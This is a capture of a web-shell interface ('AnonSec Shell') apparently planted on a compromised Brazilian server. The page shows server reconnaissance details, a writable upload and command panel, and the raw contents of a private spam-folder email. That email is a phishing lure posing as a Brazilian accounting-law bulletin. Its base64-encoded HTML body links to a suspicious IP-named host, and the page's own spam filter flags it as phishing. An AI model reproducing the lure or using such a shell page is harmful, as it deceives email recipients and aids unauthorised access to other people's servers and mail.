AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1742021965.M429912P27535.dedi-4363141.lrsys.com.br,S=7895,W=8033
Return-Path: <39426.contabil@administracao.golfinhorosa.coupons>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id sBhpGU0l1WePawAAIWsJAg
	(envelope-from <39426.contabil@administracao.golfinhorosa.coupons>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sat, 15 Mar 2025 03:59:25 -0300
Return-path: <39426.contabil@administracao.golfinhorosa.coupons>
Envelope-to: gerencia@lrsys.com.br
Delivery-date: Sat, 15 Mar 2025 03:59:25 -0300
Received: from administracao.golfinhorosa.coupons ([37.27.42.79]:33698)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <39426.contabil@administracao.golfinhorosa.coupons>)
	id 1ttLUO-000000007D8-0FeJ
	for gerencia@lrsys.com.br;
	Sat, 15 Mar 2025 03:59:25 -0300
Received: from administracao.golfinhorosa.coupons (localhost [127.0.0.1])
	by administracao.golfinhorosa.coupons (Postfix) with ESMTP id 3A3D9235DE
	for <gerencia@lrsys.com.br>; Sat, 15 Mar 2025 03:58:38 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=administracao.golfinhorosa.coupons; s=default; t=1742021918;
	bh=2DDjG3+fhhjSnrw4JA7a9pMYh1rordarXawUIN+kk2Q=;
	h=From:To:Reply-To:Date:Subject:From;
	b=1zA10Jg4a1MRfsdrPxG2YfxZKtkjt0dK8fAvgYFJFeLPEARslM0fFQ+ADXbSy4lN9
	 bDbIKEYxTWKAKdjvVcIgvew9dGRu8aZoSX8Si6dXFEdmL/3TSyyFfWArDik/SSVvZQ
	 tpxZYT+8mizD9DlTDPA6hN2i6+KwCoikQSvotjuV7MnflSgwQU8d/qf+jgm6xoh3vn
	 w0u684b4Bd0MqyhKxdDMj9rIKxlDTxnje9ytXGLXedrxkHyTeRImmiAW4m/AXOSw0Q
	 C9jjixknPI3f0pqYQmr6MSjvB2eIyKMXLaGlCQkpNWL55zVrZ2FpuZbAIwKtgEMgbb
	 KS9+6qOBX7B8g==
From: "Legislacao Contabil" <39426.contabil@administracao.golfinhorosa.coupons>
To: gerencia@lrsys.com.br
Content-Type: multipart/alternative; boundary="UOYmVa7XLhW=_41esgIX4iWF7eincvlExM"
MIME-Version: 1.0
Reply-To: hv3e86w6g6xs@administracao.golfinhorosa.coupons
Date: Sat, 15 Mar 2025 03:58:38 -0300
Message-Id: <20250315065838.3A3D9235DE@administracao.golfinhorosa.coupons>
X-Spam-Status: Yes, score=14.8
X-Spam-Score: 148
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Prezado Cliente
    gerencia@lrsys.com.br 
 Content analysis details:   (14.8 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: golfinhorosa.coupons]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: golfinhorosa.coupons]
  1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
                             bl.spamcop.net
                 [Blocked - see <https://www.spamcop.net/bl.shtml?37.27.42.79>]
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [37.27.42.79 listed in psbl.surriel.com]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.7 FROM_STARTS_WITH_NUMS  From: starts with several numbers
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [37.27.42.79 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [37.27.42.79 listed in bl.score.senderscore.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.8 FROM_FMBLA_NEWDOM28    From domain was registered in last 14-28
                             days
X-Spam-Flag: YES
Subject:  ***SPAM***  Boletim 15/03/2025 (Legislacao federal, trabalhista, Simples
 Nacional, IR e etc - Brasil). ref: j2l3gymNKVWY

This is a multi-part message in MIME format

--UOYmVa7XLhW=_41esgIX4iWF7eincvlExM
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--UOYmVa7XLhW=_41esgIX4iWF7eincvlExM
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PGh0bWw+Cgo8aGVhZD4KPC9oZWFkPgo8Ym9keSBtYXJnaW53aWR0aD0iMjAiIG1hcmdpbmhlaWdo
dD0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiA8dGFibGUgaGVpZ2h0PSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9
IjAiIHdpZHRoPSI3NTAiIGJvcmRlcj0iMCI+CiA8dGJvZHk+CiA8dHI+CiA8dGQgdmFsaWduPSJ0
b3AiIGFsaWduPSJjZW50ZXIiIGhlaWdodD0iMTAwJSI+CiA8cCBhbGlnbj0ibGVmdCI+PHNwYW4g
Y2xhc3M9IkNvbnRldWRvIj48Zm9udCBmYWNlPSJDb3VyaWVyIiBzaXplPSI0Ij48c3Ryb25nPlBy
ZXphZG8gQ2xpZW50ZSA8L3N0cm9uZz48L2ZvbnQ+PC9zcGFuPjwvcD4KPHAgYWxpZ249ImxlZnQi
Pjxmb250IGZhY2U9IkNvdXJpZXIiIHNpemU9IjMiPmdlcmVuY2lhQGxyc3lzLmNvbS5icjwvZm9u
dD48L3A+CjxwIGFsaWduPSJsZWZ0Ij48c3BhbiBjbGFzcz0iQ29udGV1ZG8iPjxmb250IGZhY2U9
IkNvdXJpZXIiIHNpemU9IjMiPlNlZ3VlOiBCb2xldGltIE4mIzE4Njs6PHN0cm9uZz45NzkwMzwv
c3Ryb25nPiA6PHN0cm9uZz4xNS8wMy8yMDI1PC9zdHJvbmc+KExlZ2lzbGEmIzIzMTsmIzIyNztv
IGZlZGVyYWwgdHJhYmFsaGlzdGEsPGJyPiBTaW1wbGVzIE5hY2lvbmFsIElSIGUgZXRjIC0gQnJh
c2lsKS48c3Ryb25nPjwvc3Ryb25nPiA8L2ZvbnQ+PC9zcGFuPjwvcD4KIDxwIGFsaWduPSJsZWZ0
Ij48Zm9udCBmYWNlPSJDb3VyaWVyIiBzaXplPSIzIj5FbSByZXNwb3N0YSBhbyBlLW1haWwgZW52
aWFkbyBlbSAxNS8wMy8yMDI1LCByZWZlcmVudGUgYW8gUHJvY2Vzc28sIG4mIzE4Njs8c3Ryb25n
PjkwNDAwMC4wOTY1NjUvMjAyMC05MS48c3Ryb25nPjwvZm9udD48L3A+CjxwIGFsaWduPSJsZWZ0
Ij48Zm9udCBmYWNlPSJDb3VyaWVyIiBzaXplPSIzIj48YSBocmVmPSJodHRQczovLzIzNi4yMDUu
MTQ4LjM3Lmhvc3Quc2VjdXJlc2VydmVyLm5ldC9UMTRyUVhRNmlPUi9KWDB4MENpZzVDaFg0UDcv
dEI5OFd1eEViTUdkaDBRN0U2emtCWC9GZWQyMDI1XzY4MTI0Nzc3MTc0IiB0YXJnZXQ9Il9ibGFu
ayI+Qm9sZXRpbSBGZWRlcmFsIC0gMTUvMDMvMjAyNTwvYT48L2ZvbnQ+PC9wPgkJCQkJCQkJICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCjxwIGFsaWduPSJsZWZ0Ij48Zm9udCBzaXplPSIzIj48Zm9udCBmYWNl
PSJDb3VyaWVyIj5BdGVuY2lvc2FtZW50ZSw8YnI+PGJyPk1hcmNvIEZlcm5hbmRlcyAtIExlZ2lz
bGEmIzIzMTsmIzIyNztvIENvbnQmIzIyNTtiaWw8L2ZvbnQ+PC9mb250Pjxicj4KCQkJCQkJCQkg
CQkJCQkJCSAKIDxmb250IHNpemU9IjIiPjxmb250IGZhY2U9IkNvdXJpZXIiPjxicj4KICA8L2Zv
bnQ+PC9mb250PjwvcD4KICA8L3RkPgo8L3RyPgo8L3Rib2R5Pgo8L3RhYmxlPgogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC9ib2R5PjwvaHRtbD4K

--UOYmVa7XLhW=_41esgIX4iWF7eincvlExM--


Anon7 - 2022
AnonSec Team